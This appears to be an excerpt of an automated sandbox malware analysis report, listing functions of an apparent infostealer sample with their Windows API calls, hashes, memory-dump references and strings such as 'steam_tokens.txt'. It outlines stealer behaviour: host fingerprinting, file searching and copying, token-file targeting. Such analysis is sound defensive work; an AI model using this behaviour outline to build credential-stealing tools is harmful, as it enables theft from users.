Opcode Fuzzy Hash: c9426f20992c435bab28c827c031c535168c39e0f902a0c8686ab7266076c97f
Instruction Fuzzy Hash: 0EE0867098930CFBE710ABD0AC0EB4C766CAB04B02F500154F708761D0C6B425418658

Function 00786C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00786CEF

Strings

@, xrefs: 00786CC9

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 5541df49a4bd64051b4ea19e73a82e61693766a42f3321a14b4709790881f640
Instruction ID: e24377bc361a9dfa496a1563550adda9f39c12773edbaf5b1554658d7e2db358
Opcode Fuzzy Hash: 5541df49a4bd64051b4ea19e73a82e61693766a42f3321a14b4709790881f640
Instruction Fuzzy Hash: 49213974A00208FFCB04EF88C484BAEBBB1FF48305F108199D559AB341D779AA81DF91

Function 00781190 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00797A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00796CCB), ref: 00797AA0
Part of subcall function 00797A70: HeapAlloc.KERNEL32(00000000,?,?,?,00796CCB), ref: 00797AA7
Part of subcall function 00797A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00797ABF

Part of subcall function 007979E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007811B7), ref: 00797A10
Part of subcall function 007979E0: HeapAlloc.KERNEL32(00000000,?,?,?,007811B7), ref: 00797A17
Part of subcall function 007979E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00797A2F

ExitProcess.KERNEL32 ref: 007811C6

Strings

(q, xrefs: 00781193

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID: (q
API String ID: 1004333139-2418261754
Opcode ID: 2fc127d4af776dcb2250dc5cfa3ae1be67d76f1a2060e10599851753b13174c4
Instruction ID: 4f5d5211026f56bfdba9936c44a5499cf3b6c430f3ea3c0a5e27b99fb27fa8a6
Opcode Fuzzy Hash: 2fc127d4af776dcb2250dc5cfa3ae1be67d76f1a2060e10599851753b13174c4
Instruction Fuzzy Hash: 0BE0E2A5D5830592CE14B3F8BC0EB2A328CAB1532BF440814FA08D2252EE29E802C266

Function 00786D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb042eec0b7475ff459982f1e2b9f53deab45d8cebc992d84718dcc32f01cba4
Instruction ID: e189d5970bb0036e6bfab46c28ab024d3dc8837806d5881d28b156c4ab1b2ea6
Opcode Fuzzy Hash: bb042eec0b7475ff459982f1e2b9f53deab45d8cebc992d84718dcc32f01cba4
Instruction Fuzzy Hash: 3F61F7B5940208EFCF14EF94E988BEEB7B0BB48305F148598E5056B280D779EE94DF91

Function 00794E00 Relevance: 3.1, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00798F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00798F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00794E3A
lstrcatA.KERNEL32(?,00EE1588), ref: 00794E58

Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794B7C
Part of subcall function 00794B60: FindFirstFileA.KERNEL32(?,?), ref: 00794B93

Part of subcall function 00794B60: StrCmpCA.SHLWAPI(?,007A0FC4), ref: 00794BC1
Part of subcall function 00794B60: StrCmpCA.SHLWAPI(?,007A0FC8), ref: 00794BD7
Part of subcall function 00794B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00794DCD
Part of subcall function 00794B60: FindClose.KERNEL32(000000FF), ref: 00794DE2

Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794C00
Part of subcall function 00794B60: StrCmpCA.SHLWAPI(?,007A08D3), ref: 00794C15
Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794C32
Part of subcall function 00794B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00794C6E
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,00EDA8E0,?,000003E8), ref: 00794C9A
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,007A0FE0), ref: 00794CAC
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,?), ref: 00794CC0
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,007A0FE4), ref: 00794CD2
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,?), ref: 00794CE6
Part of subcall function 00794B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00794CFC
Part of subcall function 00794B60: DeleteFileA.KERNEL32(?), ref: 00794D81

Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794C57

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: c01de58f4b08131f251a002acfbf15ab045afab0a87332598b150dd64e19d7bb
Instruction ID: da6c77193dae1887b43ce08e4a8d23c604f9b9018df784b5c6dbdc92d1eba36c
Opcode Fuzzy Hash: c01de58f4b08131f251a002acfbf15ab045afab0a87332598b150dd64e19d7bb
Instruction Fuzzy Hash: D741D9F7600204E7DB54F7A0FC56EED333CABC9301F408A48B54697195ED789A898BD2

Function 00795350 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079AB30: lstrlenA.KERNEL32(00000000,?,?,00795DA4,007A0ADF,007A0ADB,?,?,00796DB6,00000000,?,00ED7128,?,007A10F4,?,00000000), ref: 0079AB3B
Part of subcall function 0079AB30: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AB95

lstrlenA.KERNEL32(00000000,00000000,007A0ACE,?,?,?,?,?,?,0079635B,?), ref: 0079537A

Strings

steam_tokens.txt, xrefs: 0079538F

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: bdedb2b2ba7e6f5d780ca24f15063e4ff8a7b076eacc0cb50f04a69c87a31060
Instruction ID: 77c5b5ecd2f7414eb5f953b956ad7364d699994177b1bd6b049a3078e317a9a5
Opcode Fuzzy Hash: bdedb2b2ba7e6f5d780ca24f15063e4ff8a7b076eacc0cb50f04a69c87a31060
Instruction Fuzzy Hash: 8BF0FB71D51108B7CF08FBB0FC6B9ED772CAA55340F804258B41662491EE286618C7E6

Function 00781160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00796CB7,007A0AF3), ref: 0078116A
ExitProcess.KERNEL32 ref: 0078117E

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 578c29b2966c09ba2cb9b5fcab455ee8cba1d3d782b0fceb44c7395a0a4f5492
Instruction ID: 0b942081a2628e26da17aa40a37f412e2aa3798fa421e5e5625d154a7d900b7a
Opcode Fuzzy Hash: 578c29b2966c09ba2cb9b5fcab455ee8cba1d3d782b0fceb44c7395a0a4f5492
Instruction Fuzzy Hash: D6D09E74D4430CABCB04EFE0A9896DDBB78BB08616F500655D90572750EA315496CB65

Function 0078AEC0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

lstrlenA.KERNEL32(00000000), ref: 0078B13A
lstrlenA.KERNEL32(00000000), ref: 0078B14E

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: cddcbd53e85630b6a59536e6f767b2b8366d80a4703b0832e893363348e50b79
Instruction ID: a3b401885711875b319073afafd025b9557906935980a0c99d991061124e61dd
Opcode Fuzzy Hash: cddcbd53e85630b6a59536e6f767b2b8366d80a4703b0832e893363348e50b79
Instruction Fuzzy Hash: 6991EFB2915118EBCF04FBA0ECAADEE7379AF54300F404559F50666191EF386A09CBB2

Function 0078B200 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

lstrlenA.KERNEL32(00000000), ref: 0078B3FE
lstrlenA.KERNEL32(00000000), ref: 0078B412

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 46c2c8c4a846e03cf11da2a025ed9c1916be723202f1b8d8d10d4a42307a620f
Instruction ID: 3315029794a9c9e3a11df7270ed93331641a85562cd444b2a95caef033a29794
Opcode Fuzzy Hash: 46c2c8c4a846e03cf11da2a025ed9c1916be723202f1b8d8d10d4a42307a620f
Instruction Fuzzy Hash: 3671E2B2915108EBCF04FBA0EDAADEE7379BF54301F404558F50667191EF386A09CBA2

Function 007866B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00786E0E,00786E0E,00003000,00000040), ref: 00786756
VirtualAlloc.KERNEL32(00000000,00786E0E,00003000,00000040), ref: 007867A3

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7624e55e9d13a5a0432d439de7e5c799711be55450631d6cf267d63691550540
Instruction ID: d189f730ab27108d2f321d0fea30d764c53e562213eb554b4f0579da88e9d619
Opcode Fuzzy Hash: 7624e55e9d13a5a0432d439de7e5c799711be55450631d6cf267d63691550540
Instruction Fuzzy Hash: 1A41FB74A40208EFCB44DF98C494BADBBB1FF44314F2486A9E9499B345D735EA81CF84

Function 007810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0078114E,?,?,00796CBC), ref: 007810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0078114E,?,?,00796CBC), ref: 007810F7

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

